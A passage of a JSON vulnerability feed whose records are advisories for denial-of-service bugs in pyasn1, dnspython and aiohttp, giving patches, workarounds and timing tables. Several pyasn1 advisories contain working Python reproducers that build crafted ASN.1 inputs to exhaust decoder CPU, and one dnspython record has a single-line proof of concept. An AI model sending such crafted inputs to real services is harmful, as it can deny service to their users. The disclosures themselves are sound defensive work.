pyasn1.codec.ber import decoder\nfrom pyasn1.type import univ\n\n\ndef enc_tag(tag_id):\n    groups = [tag_id & 0x7f]\n    tag_id >>= 7\n    while tag_id:\n        groups.append((tag_id & 0x7f) | 0x80)\n        tag_id >>= 7\n    return b'\\xbf' + bytes(reversed(groups))\n\n\ndef payload(tag_ids):\n    body = b''.join(enc_tag(tag_id) + b'\\x03\\x04\\x01A'\n                    for tag_id in tag_ids)\n    length = len(body).to_bytes((len(body).bit_length() + 7) // 8, 'big')\n    return b'\\x30' + bytes([0x80 | len(length)]) + length + body\n\n\nfor count in (3200, 6400):\n    cases = (\n        (\"collision\", [32 + i * sys.hash_info.modulus\n                       for i in range(count)]),\n        (\"control\", [(1 << 70) + i for i in range(count)]),\n    )\n    for name, tag_ids in cases:\n        wire = payload(tag_ids)\n        start = time.process_time()\n        value, remainder = decoder.decode(wire)\n        cpu_seconds = time.process_time() - start\n\n        assert type(value) is univ.Sequence\n        assert len(value) == count and remainder == b''\n        for position, tag_id in enumerate(tag_ids):\n            component = value.getComponentByPosition(position)\n            assert component.asOctets() == b'A'\n            assert component.tagSet[-1].tagId == tag_id\n\n        print(count, name, len(wire), round(cpu_seconds, 3))\n```\n\n### Impact\n\nApplications that pass attacker-controlled bytes to schemaless BER, CER, or DER decoding can spend disproportionate CPU time on a relatively small, valid input. The demonstrated impact is availability; no confidentiality or integrity impact was observed.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/security/advisories/GHSA-fm9c-5rcf-2q5p"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-119194"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/pull/132"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/commit/a36e3a3d067148d26197a6b7221fd0e2cde9cc86"},{"type":"PACKAGE","url":"https://github.com/pyasn1/pyasn1"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-119195","published":"2026-10-31T08:34:52Z","modified":"2026-10-31T18:52:28Z","upstream":["GHSA-9m75-vc3g-4x39","CVE-2026-119195"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.7.2"},{"fixed":"14.5.0_3"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"0.6.5","resource":"pyasn1","resource_purl":"pkg:pypi/pyasn1@0.6.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pyasn1","subject_version":"0.6.5","key":"pkg:pypi/pyasn1@0.6.5","resource":"pyasn1"}]},"summary":"pyasn1 has quadratic-time denial of service in constructed string and indefinite-length ANY decoding","details":"## Summary\n\nIn pyasn1 0.6.4 and earlier, decoding a constructed OCTET STRING or character string made of many fragments can spend disproportionate CPU time repeatedly copying the accumulated value. A separate indefinite-length `ANY` path has the same problem while collecting the encoded components. The work grows roughly quadratically with the number of fixed-size fragments, although the input and decoded value grow linearly. An application that lets an attacker supply such ASN.1 input to an affected decoder can suffer CPU exhaustion.\n\nThe affected string paths are available in BER and CER. The DER decoder also accepts certain *non-DER* constructed strings: a definite-length constructed OCTET STRING when an `asn1Spec` selects `univ.OctetString`, and constructed character strings such as UTF8String even without a schema. Indefinite-length `ANY` is affected in BER and CER when an `asn1Spec` selects `univ.Any`; DER rejects indefinite lengths.\n\nThis is a distinct decoder path from the OBJECT IDENTIFIER/RELATIVE-OID accumulation addressed by [CVE-2026-59885](https://github.com/advisories/GHSA-8ppf-4f7h-5ppj). It has the same complexity class, but the OID fix in 0.6.4 did not change these string or `ANY` loops.\n\n## Technical details\n\nIn the [v0.6.4 BER decoder](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py), `OctetStringPayloadDecoder` appends each decoded fragment to a growing `bytes` value with `header += component` in both its [definite-length](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py#L338-L351) and [indefinite-length](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py#L368-L387) constructed forms. [`AnyPayloadDecoder.indefLenValueDecoder`](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py#L1403-L1430) similarly uses `chunk += component`. In the exercised paths, each concatenation copies an increasingly large prefix. For `N` fixed-size fragments, the total copied data grows with `1 + 2 + ... + N`, or O(N²).\n\nThe OCTET STRING decoder is also the base class of the decoders for UTF8String, NumericString, PrintableString, TeletexString, VideotexString, IA5String, GraphicString, VisibleString, GeneralString, UniversalString, BMPString, ObjectDescriptor, GeneralizedTime, and UTCTime. These types inherit the same constructed-string reassembly path.\n\nThe [DER decoder's OCTET STRING restriction](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/der/decoder.py#L15-L49) replaces the tag-driven decoder, but its schema-driven `TYPE_MAP` retains the BER-derived decoder. Thus `der.decode(data)` rejects a constructed OCTET STRING, while `der.decode(data, asn1Spec=univ.OctetString())` accepts its definite-length form and reaches the accumulation loop. DER does not replace the inherited character-string decoders, so a constructed UTF8String is also accepted without `asn1Spec`. These inputs violate [X.690's DER string-encoding rule](https://www.itu.int/rec/T-REC-X.690-202102-I/en) and should not be described as valid DER encodings.\n\nThe original short-fragment, definite-length OCTET STRING reproducer is valid BER. The CER decoder accepts it, but it is not a conforming CER string encoding: X.690 requires an indefinite-length outer constructed string and 1,000 contents octets per fragment except possibly the last. A conforming CER-shaped constructed OCTET STRING with those fragment sizes also reaches the loop and shows quadratic growth. The indefinite-length `ANY` reproducer below can represent a CER `SEQUENCE OF OCTET STRING` and reaches the separate `ANY` loop when decoded with an `ANY` schema.\n\nThe decoder's eight-octet length-field limit and nesting-depth limit do not bound the number of sibling fragments in these examples. The BER reproducer below uses only a three-octet outer length field; all fragments have shallow nesting. There is no per-message fragment-count cap in v0.6.4.\n\n## Impact\n\nIf an application passes attacker-controlled ASN.1 to the affected `decode()` or `StreamingDecoder` path without an adequate input or resource limit, a megabyte-scale value can occupy a decoding worker for seconds. Repeated inputs can exhaust available CPU. Whether this is reachable before authentication, or through a particular protocol, depends on the application; the library finding alone does not establish those conditions. No confidentiality or integrity impact is claimed.\n\n## Severity assessment (CVSS v3.1)\n\nThe 7.5 Base score assumes a reasonable application that automatically decodes attacker-supplied ASN.1 from unauthenticated network input. Valid BER and conforming CER inputs trigger the string-reassembly issue without special conditions, privileges, or user interaction. Repeated crafted inputs could occupy all available decoder workers and deny service while the attack continues. No confidentiality or integrity impact is demonstrated. This library-level score does not assert that every adopter has such an endpoint or loses all service; deployment-specific input limits and architecture may change the score. See [FIRST's library-scoring guidance](https://www.first.org/cvss/v3-1/user-guide).\n\nOn the official v0.6.4 tag, local CPU-time measurements with CPython 3.14.8 on macOS arm64 gave the following results. Times vary by machine and Python runtime; the input-size scaling is the relevant observation. “Fixed” means the local 0.6.5 decoder fix applied to the same inputs.\n\n| Decoder path and input | Fragments | v0.6.4 CPU | Fixed CPU |\n| --- | ---: | ---: | ---: |\n| BER constructed OCTET STRING, 0.40 MB | 100,000 × 2 payload bytes | 0.340 s | 0.160 s |\n| BER constructed OCTET STRING, 0.80 MB | 200,000 × 2 payload bytes | 0.886 s | 0.312 s |\n| BER constructed OCTET STRING, 1.60 MB | 400,000 × 2 payload bytes | 2.738 s | 0.623 s |\n| BER indefinite `ANY`, 0.30 MB | 100,000 × 1 payload byte | 0.459 s | 0.206 s |\n| BER indefinite `ANY`, 0.60 MB | 200,000 × 1 payload byte | 1.245 s | 0.412 s |\n| BER indefinite `ANY`, 1.20 MB | 400,000 × 1 payload byte | 3.980 s | 0.826 s |\n| CER constructed OCTET STRING, 1.00 MB, conforming fragment layout | 1,000 × 1,000 payload bytes | 0.0089 s | 0.0022 s |\n| CER constructed OCTET STRING, 2.01 MB, conforming fragment layout | 2,000 × 1,000 payload bytes | 0.0311 s | 0.0044 s |\n| CER constructed OCTET STRING, 4.02 MB, conforming fragment layout | 4,000 × 1,000 payload bytes | 0.1379 s | 0.0090 s |\n\nFor the same short-fragment layout, the original report measured up to 16.05 seconds for a 3.2 MB BER constructed OCTET STRING. An independent report on CPython 3.11.16/Linux measured 5.76 seconds for a 2.4 MB constructed OCTET STRING, versus about 0.005 seconds for a primitive OCTET STRING of comparable size. These are reporter measurements on different systems, not fixed performance guarantees.\n\n## Reproduction\n\nThis example uses public decoder APIs. Run it with pyasn1 0.6.4 and increase `n` to observe the scaling. The final two calls show the DER paths accepted by v0.6.4; their constructed encodings are not valid DER.\n\n```python\nimport time\n\nfrom pyasn1.codec.ber import decoder as ber\nfrom pyasn1.codec.cer import decoder as cer\nfrom pyasn1.codec.der import decoder as der\nfrom pyasn1.type import univ\n\n\ndef tlv(identifier, contents):\n    length = len(contents)\n    if length < 128:\n        return bytes((identifier, length)) + contents\n    encoded = length.to_bytes((length.bit_length() + 7) // 8, \"big\")\n    return bytes((identifier, 0x80 | len(encoded))) + encoded + contents\n\n\ndef measure(label, decode, substrate, asn1Spec=None):\n    start = time.process_time()\n    _, rest = decode(substrate, asn1Spec=asn1Spec)\n    assert not rest\n    print(f\"{label}: {len(substrate)} input bytes, \"\n          f\"{time.process_time() - start:.3f} CPU seconds\")\n\n\nn = 100_000\noctet_fragments = b\"\\x04\\x02AA\" * n\nutf8_fragments = b\"\\x0c\\x02AA\" * n\n\nmeasure(\"BER constructed OCTET STRING\", ber.decode,\n        tlv(0x24, octet_fragments))\nmeasure(\"BER indefinite ANY\", ber.decode,\n        b\"\\x30\\x80\" + b\"\\x04\\x01A\" * n + b\"\\x00\\x00\",\n        univ.Any())\n\n# CER uses indefinite length and 1,000-content-octet primitive fragments.\ncer_fragment = tlv(0x04, b\"A\" * 1000)\nmeasure(\"CER constructed OCTET STRING\", cer.decode,\n        b\"\\x24\\x80\" + cer_fragment * 1000 + b\"\\x00\\x00\")\n\n# These constructed encodings are accepted by pyasn1 but are invalid DER.\nmeasure(\"DER OCTET STRING with schema\", der.decode,\n        tlv(0x24, octet_fragments), univ.OctetString())\nmeasure(\"DER UTF8String without schema\", der.decode,\n        tlv(0x2c, utf8_fragments))\n```\n\n## Patch\n\npyasn1 0.6.5 replaces the growing `bytes` accumulator with a list of fragments and joins them once after decoding in all three affected loops. The OCTET STRING base-class change also covers the inheriting character-string decoders. This removes the repeated copying while preserving the assembled decoded value.\n\n## Workaround\n\nUntil upgrading, enforce application-appropriate limits on the size of untrusted ASN.1 input *before* passing it to pyasn1, and limit the CPU resources available to decoding workers. Applications that require DER can also reject constructed string encodings before invoking the decoder. The appropriate byte limit depends on the protocol and expected valid values.\n\n## Credits and references\n\nReported by [alimony](https://github.com/alimony). Independently reported by [manus-pi](https://github.com/manus-pi), whose report identified the schema-driven DER route, inherited character-string decoders, and additional performance evidence.\n\n- [pyasn1 v0.6.4 affected decoder source](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py)\n- [ITU-T X.690, CER and DER string-encoding rules](https://www.itu.int/rec/T-REC-X.690-202102-I/en)\n- [CVE-2026-59885, separate OID decoder issue](https://github.com/advisories/GHSA-8ppf-4f7h-5ppj)","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/security/advisories/GHSA-9m75-vc3g-4x39"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-119195"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/pull/132"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/commit/4ce00797c594b59c1fd6b86d9ebc3ba87b7ec9f9"},{"type":"PACKAGE","url":"https://github.com/pyasn1/pyasn1"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-119196","published":"2026-10-31T08:34:52Z","modified":"2026-10-31T18:52:28Z","upstream":["GHSA-2qm8-x737-gmw5","CVE-2026-119196"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.7.2"},{"fixed":"14.5.0_3"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"0.6.5","resource":"pyasn1","resource_purl":"pkg:pypi/pyasn1@0.6.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pyasn1","subject_version":"0.6.5","key":"pkg:pypi/pyasn1@0.6.5","resource":"pyasn1"}]},"summary":"pyasn1 has quadratic CPU consumption in constructed BIT STRING decoding","details":"## Summary\n\nIn pyasn1 through 0.6.4, decoding a constructed BIT STRING with many fragments repeatedly shifts and copies the entire value accumulated so far. For fixed-size fragments, CPU time grows quadratically with the encoded input size. An application that passes sufficiently large, attacker-controlled ASN.1 data to an affected decoder can suffer CPU exhaustion during `decode()`; no conversion or formatting of the decoded value is required.\n\nThe BER and CER decoders reach this path for constructed BIT STRING values, with or without an `asn1Spec`. The DER decoder rejects constructed BIT STRING in schema-less decoding, but its schema-driven path accepts a **definite-length** constructed BIT STRING when given a matching `asn1Spec` and reaches the same vulnerable code. Constructed BIT STRING is not valid DER; this DER exposure is due to decoder permissiveness. DER rejects the indefinite-length form.\n\nThis is a separate decoder path from the OBJECT IDENTIFIER accumulation fixed in [CVE-2026-59885](https://github.com/advisories/GHSA-8ppf-4f7h-5ppj).\n\n## Technical details\n\nIn the 0.6.4 [`BitStringPayloadDecoder`](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py#L173-L301), both the [definite-length](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py#L237-L255) and [indefinite-length](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py#L275-L301) fragment loops call `BitString.fromOctetString(..., prepend=bitString)` for every fragment. [`fromOctetString`](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/type/univ.py#L614-L627) shifts the growing `SizedInteger` left by the fragment's bit length and ORs in the fragment. Shifting an ever-larger Python integer for each fixed-size fragment makes total work O(n²) for n fragments. The fragments are siblings, so the decoder's nesting-depth limit does not constrain their count; its limit on the number of length octets does not prevent the demonstrated inputs.\n\nIn 0.6.4, DER's [tag-driven map](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/der/decoder.py#L15-L40) disables constructed BIT STRING, while its schema-driven type map retains the inherited decoder that permits it. This explains why a schema-less DER rejection is not a negative result for all DER decoding.\n\nUnder [X.690](https://www.itu.int/rec/T-REC-X.690-202102-I/en), a conforming CER constructed BIT STRING uses an indefinite-length outer encoding and primitive fragments with 1000 contents octets except possibly the last. That form reaches the affected indefinite-length loop. DER requires primitive string encoding, although the schema-driven pyasn1 decoder accepts the definite-length constructed example below.\n\n## Impact\n\nAn application is exposed when untrusted input can reach one of the affected decoder paths and its input limits admit enough fragments. The work occupies the decoding thread or worker and may cause denial of service. Whether the input is network-accessible or unauthenticated depends on the calling application. This advisory makes no claim that every application using pyasn1, or any particular protocol implementation, accepts such input.\n\n## Severity assessment (CVSS v3.1)\n\nThe 7.5 Base score assumes a reasonable application that automatically decodes attacker-supplied ASN.1 from unauthenticated network input. Valid BER and conforming CER values trigger the issue without special conditions, privileges, or user interaction. Repeated crafted values could occupy a finite decoder-worker pool and deny service while the attack continues. No confidentiality or integrity impact is demonstrated. This library-level score does not claim that every application is network-exposed or fully unavailable; deployment-specific input limits and architecture may change the score. See [FIRST's library-scoring guidance](https://www.first.org/cvss/v3-1/user-guide).\n\n## Reproducer\n\nThe definite-length example below is valid BER. It is deliberately not a conforming CER or DER encoding. The second constructor uses conforming CER fragment sizing and framing. CPU times are machine-dependent; run the larger cases only in a local test environment.\n\n```python\nimport time\n\nfrom pyasn1.codec.ber import decoder as ber_decoder\nfrom pyasn1.codec.cer import decoder as cer_decoder\nfrom pyasn1.codec.der import decoder as der_decoder\nfrom pyasn1.error import PyAsn1Error\nfrom pyasn1.type import univ\n\n\ndef encode_length(size):\n    octets = size.to_bytes((size.bit_length() + 7) // 8, \"big\")\n    return bytes((0x80 | len(octets),)) + octets\n\n\ndef definite_fragments(count):\n    body = b\"\\x03\\x02\\x00\\xa5\" * count  # one data octet per BIT STRING fragment\n    return b\"\\x23\" + encode_length(len(body)) + body\n\n\ndef cer_fragments(count):\n    # Each primitive fragment has 1000 contents octets: one unused-bits\n    # octet (zero) followed by 999 data octets.\n    fragment = b\"\\x03\" + encode_length(1000) + b\"\\x00\" + b\"\\xa5\" * 999\n    return b\"\\x23\\x80\" + fragment * count + b\"\\x00\\x00\"\n\n\ndef measure(label, decode, payload, **options):\n    start = time.process_time()\n    value, remainder = decode(payload, **options)\n    print(label, len(payload), f\"{time.process_time() - start:.3f}s CPU\")\n    assert not remainder and len(value) > 0\n\n\nfor count in (50_000, 100_000, 200_000):\n    measure(f\"BER {count} fragments\", ber_decoder.decode,\n            definite_fragments(count))\n\nfor count in (1_000, 2_000, 4_000):\n    measure(f\"CER {count} fragments\", cer_decoder.decode,\n            cer_fragments(count))\n\nsample = definite_fragments(1_000)\nmeasure(\"DER with BIT STRING schema\", der_decoder.decode, sample,\n        asn1Spec=univ.BitString())\ntry:\n    der_decoder.decode(sample)\nexcept PyAsn1Error:\n    print(\"DER without schema rejects the constructed value\")\nelse:\n    raise AssertionError(\"DER unexpectedly accepted schema-less input\")\n```\n\n## Verification\n\nLocal measurements of the official v0.6.4 tag on CPython 3.14.8 used `time.process_time()`. A local 0.6.5 candidate containing the fix was timed on the same machine. Times are illustrative, not a guaranteed cost on other systems.\n\n| Input | Size | v0.6.4 CPU | 0.6.5 candidate CPU |\n| --- | ---: | ---: | ---: |\n| BER definite, 50,000 fragments | 0.20 MB | 0.530 s | 0.084 s |\n| BER definite, 100,000 fragments | 0.40 MB | 1.915 s | 0.170 s |\n| BER definite, 200,000 fragments | 0.80 MB | 7.392 s | 0.344 s |\n| Conforming CER, 1,000 fragments | 1.004 MB | 0.163 s | 0.0035 s |\n| Conforming CER, 2,000 fragments | 2.008 MB | 0.657 s | 0.0070 s |\n| Conforming CER, 4,000 fragments | 4.016 MB | 2.582 s | 0.0144 s |\n\nThe definite BER input with 100,000 fragments also decoded through DER with `asn1Spec=univ.BitString()` in 1.949 s on v0.6.4, versus 0.172 s with the 0.6.5 candidate. Schema-less DER rejected the same input. Independent reports reproduced the old behavior on v0.6.4: one measured 21.1 s for a 1.28 MB definite-length value; another measured 7.25 s for a 0.8 MB value versus 2.8 ms for a primitive BIT STRING carrying the same data volume. These measurements were taken on different systems and should not be compared as a single benchmark series.\n\n## Resolution\n\nUpgrade to pyasn1 0.6.5. The decoder assembles fragment bits in a `bytearray`, preserves decoded bit values including intermediate-fragment padding, and converts the complete payload to a BIT STRING once. This removes the repeated shift of the growing integer in both constructed decoding loops.\n\nFor applications that cannot upgrade immediately, enforce an application-appropriate limit on untrusted ASN.1 input size **before** passing it to pyasn1. Such a limit bounds exposure but does not change the quadratic behavior of 0.6.4. Where a protocol forbids constructed BIT STRING, rejecting that encoding before decoding also prevents this path.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/security/advisories/GHSA-2qm8-x737-gmw5"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-119196"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/pull/132"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/commit/73ba7b043cc7e92cb37f16f2c955bff93b0e6f6c"},{"type":"PACKAGE","url":"https://github.com/pyasn1/pyasn1"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-119197","published":"2026-10-31T08:34:52Z","modified":"2026-10-31T18:52:28Z","upstream":["GHSA-mm57-4v3p-rchx","CVE-2026-119197"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.7.2"},{"fixed":"14.5.0_3"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"0.6.5","resource":"pyasn1","resource_purl":"pkg:pypi/pyasn1@0.6.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pyasn1","subject_version":"0.6.5","key":"pkg:pypi/pyasn1@0.6.5","resource":"pyasn1"}]},"summary":"pyasn1 has quadratic-complexity denial of service in binary REAL decoding","details":"## Summary\n\nIn pyasn1 0.6.4 and earlier, decoding a binary-encoded ASN.1 REAL with a large mantissa can consume CPU time quadratic in the mantissa length. The BER, CER, and DER decoders all use the affected `RealPayloadDecoder`. An application is exposed when it passes attacker-controlled ASN.1 containing a REAL value to one of these decoders, either without an `asn1Spec` or with a schema that includes REAL. The work occurs inside `decode()`; the application does not need to convert, print, or otherwise use the resulting REAL object.\n\nThis is distinct from [CVE-2026-59886](https://github.com/advisories/GHSA-hm4w-wwcw-mr6r), which concerns converting an already-decoded REAL to a Python float. That issue was fixed in 0.6.4 and its advisory states that decoding alone does not trigger it.\n\n## Root cause and affected components\n\nFor binary REAL values, [`RealPayloadDecoder.valueDecoder` in v0.6.4](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py#L535-L603) builds the mantissa one octet at a time:\n\n```python\np = 0\nwhile chunk:\n    p <<= 8\n    p |= chunk[0]\n    chunk = chunk[1:]\n```\n\nEach shift processes an integer that grows with the mantissa; with byte strings, each slice also copies the remaining suffix. Repeating both operations for every octet makes decoding quadratic in mantissa size. The decoder's [eight-octet length-field limit](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py#L1704-L1717) does not impose a practical mantissa-size limit for the inputs demonstrated below. [CER](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/cer/decoder.py#L51-L62) and [DER](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/der/decoder.py#L23-L31) reuse the BER REAL payload decoder, so all three paths reach this loop.\n\nThe vulnerable loop is present in every available repository release tag inspected, from v0.2.1 through v0.6.4. Runtime measurements below were made on v0.6.4; older releases were checked for the loop, not benchmarked individually.\n\n## Impact\n\nA comparatively small REAL value can hold a decoder worker on one CPU core for seconds or longer. The attacker must be able to supply data that the application sends to an affected decoder, and application-level input limits may reduce exposure. The demonstrated effect is CPU exhaustion during decoding; this advisory does not assert a network endpoint, unauthenticated access, or an affected downstream application by itself.\n\n## Reproduction and evidence\n\nThe following example uses pyasn1 0.6.4. The `0x09` tag identifies REAL; `0x80 0x00` selects a positive, base-2 binary value with a one-octet zero exponent, followed by a large mantissa. It exercises `decode()` only.\n\n```python\nimport time\n\nfrom pyasn1.codec.ber import decoder as ber\nfrom pyasn1.codec.cer import decoder as cer\nfrom pyasn1.codec.der import decoder as der\n\n\ndef real_value(mantissa_octets):\n    content = b\"\\x80\\x00\" + b\"\\xff\" * mantissa_octets\n    length = len(content).to_bytes(3, \"big\")\n    return b\"\\x09\\x83\" + length + content\n\n\nfor codec in (ber, cer, der):\n    for size in (50_000, 100_000, 200_000):\n        substrate = real_value(size)\n        started = time.process_time()\n        value, rest = codec.decode(substrate)\n        print(codec.__name__, size, time.process_time() - started)\n        assert not rest\n        assert tuple(value)[1:] == (2, 0)\n```\n\nThe original report measured the following BER CPU times on repository commit `aa05757`. That commit is later than the official v0.6.4 tag; the vulnerable loop is identical in the tagged release.\n\n| Mantissa size | Reporter's BER CPU time |\n| ---: | ---: |\n| 50,000 octets | 0.328 s |\n| 100,000 octets | 1.299 s |\n| 200,000 octets | 6.043 s |\n| 400,000 octets | 24.095 s |\n\nThe same report measured 5.645 s for a 200,000-octet mantissa through DER.\n\nA separate local reproduction on the official v0.6.4 tag (`d43496f`, CPython 3.14.8, macOS arm64) measured BER at 0.209 s, 0.884 s, and 3.451 s for 50,000, 100,000, and 200,000 mantissa octets respectively. CER and DER each took about 0.89 s at 100,000 octets. These are machine-specific measurements; the repeated near-fourfold cost for doubled input is the relevant result. Neither reproduction calls `float()`, `str()`, or `prettyPrint()`.\n\n## Fix\n\npyasn1 0.6.5 replaces the per-octet shift and slice loop with one `int.from_bytes(bytes(chunk), \"big\")` conversion. Sign, scale, exponent, and the decoded REAL tuple are preserved. The fix is in the shared BER payload decoder and therefore covers BER, CER, and DER. A local check of the 0.6.5 candidate decoded a 200,000-octet mantissa correctly through all three codecs; the check does not establish behavior for every application using REAL.\n\n## Workarounds\n\nUpgrade to pyasn1 0.6.5. Until then, reject or strictly limit attacker-controlled ASN.1 input that may contain REAL values before passing it to pyasn1. The appropriate size limit depends on the application's available CPU time and request volume.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/security/advisories/GHSA-mm57-4v3p-rchx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-119197"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/pull/132"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/commit/ce3ec3390784780a530047e0e77be5ff457636a4"},{"type":"PACKAGE","url":"https://github.com/pyasn1/pyasn1"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-128089","published":"2026-11-14T08:39:26Z","modified":"2026-11-14T08:39:26Z","upstream":["GHSA-vvf4-9x63-8xvv","CVE-2026-128089"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.1.0"},{"fixed":"2.1.2.0"},{"introduced":"2.2.1.0"},{"fixed":"2.3.0.0"},{"introduced":"2.3.0.0_2"},{"fixed":"14.6.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.2","resource":"dnspython","resource_purl":"pkg:pypi/dnspython@2.9.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"dnspython","subject_version":"2.9.2","key":"pkg:pypi/dnspython@2.9.2","resource":"dnspython"}]},"summary":"dnspython has excessive memory and CPU use","details":"### Summary\n\nA maliciously crafted zone file could use a WKS record to consume excessive memory and CPU, possibly causing the process to exit due to memory exhaustion.\n\n### Details\n\nThe `from_text()` parser does not check that a WKS record service number is between 0 and 65535 inclusive.  It then uses this number to resize the bitmap to accommodate a bit with that offset.  This can cause extremely large memory allocations, and also extends the array very inefficiently, wasting CPU.\n\n### Proof of concept\n\nThis demonstrates the failure to limit the service number, though with a value that does not cause excessive memory or CPU consumption.\n\n```\nrd = dns.rdata.from_text(\"IN\", \"WKS\", \"10.0.0.1 udp 65536\")\n```\n\n### Impact\n\nIf dnspython is used to read zonefile format where the attacker can control the type and rdata text, the program may consume excessive memory or CPU, denying service.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/rthalley/dnspython/security/advisories/GHSA-vvf4-9x63-8xvv"},{"type":"WEB","url":"https://github.com/rthalley/dnspython/commit/388db14ee9923288f6e73f86e482c77706e59d73"},{"type":"WEB","url":"https://github.com/rthalley/dnspython/commit/a62e1be066da0ed71b5b59f37435bb17cfa0070f"},{"type":"PACKAGE","url":"https://github.com/rthalley/dnspython"},{"type":"WEB","url":"https://github.com/rthalley/dnspython/releases/tag/v2.9.2"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-128124","published":"2026-11-17T08:41:03Z","modified":"2026-11-17T08:41:03Z","upstream":["GHSA-jm3w-gw2p-xjfj","CVE-2026-128124"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"14.0.0"},{"fixed":"14.5.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"AIOHTTP: Event loop stall in add_domain() wildcard matching","details":"### Summary\n\n`Application.add_domain()` compiled each `*` in a host mask to `[^:]*`. With two or more wildcards in a mask, matching a long `Host` header that does not match the mask took polynomial time on the event loop.\n\n### Impact\n\nAn attacker could stall a server that registers a domain mask with more than one wildcard by sending requests with a long `Host` header.\n\n### Workaround\n\nUse at most one `*` in a domain mask.\n\n---\n\nPatch: 